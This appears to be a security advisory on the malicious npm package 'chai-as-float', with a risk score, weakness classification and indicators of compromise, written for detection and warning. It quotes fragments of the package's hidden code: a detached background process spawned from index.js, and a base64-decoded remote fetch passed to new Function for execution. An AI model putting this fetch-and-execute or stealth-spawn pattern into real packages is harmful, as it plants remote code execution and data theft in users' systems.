GCVE-110-OSM-2026-2712

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 18, 2026

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. Payload: lib/initializeCaller.js Key findings: - Stealth Background Process Spawning in index.js: "spawn('node', [scriptPath, JSON.stringify(args)], { detached: true, stdi..." - Fetch and Eval/Exec in lib/initializeCaller.js: "axios.get(atob(apiToken)) .then((res) => {new Function" - Decoded Base64 Content in lib/initializeCaller.js - IOCs Found in Deobfuscated Code in lib/initializeCaller.js - Shell Command Execution in index.js: "require('child_process')" IOCs: - urls: http://192.168.1.42:9200, https://api.npoint.io/051d0a96f6e91ab34a41 - domains: api.npoint.io - payloadFileHash: cd19ac38859a02ffab6e479c8ae1515dce60d3a0068c0a995deba00c56f354f9 Decoded/deobfuscated IOCs: - urls: https://api.npoint.io/051d0a96f6e91ab34a41 - domains: api.npoint.io

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	chai-as-float	all (affected)	—

References

Malicious npm package: chai-as-float

advisory

vendor

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